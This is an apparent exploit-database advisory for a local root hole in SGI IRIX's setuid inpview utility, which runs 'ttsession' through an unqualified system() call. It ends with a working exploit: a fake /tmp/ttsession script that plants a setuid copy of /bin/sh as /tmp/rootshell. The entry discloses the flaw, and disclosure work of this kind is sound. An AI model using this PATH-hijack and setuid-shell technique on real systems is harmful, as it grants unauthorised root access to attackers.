SGI IRIX <= 6.4 inpview Vulnerability

ID SSV:73243
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.


The inpview utility, included by SGI in its Irix operating system, contains a vulnerability that will allow any local user to obtain root access. inpview is part of the InPerson dektop video conferencing package. As it needs to access a video capture device, it is setuid root, and attempts to run the "ttsession" utility using the system() library call. It does not specificy an explicit path, and as such will execute the first program or script named "ttsession" in the users path. By setting /tmp to be first in your path, creating a shell script in /tmp call ttsession, and making it executable, this shell script will be executed as root. 

% cat > /tmp/ttsession
cp /bin/sh /tmp/rootshell
chmod 4755 /tmp/rootshell
% chmod 755 /tmp/ttsession
% inpview&
% /tmp/rootshell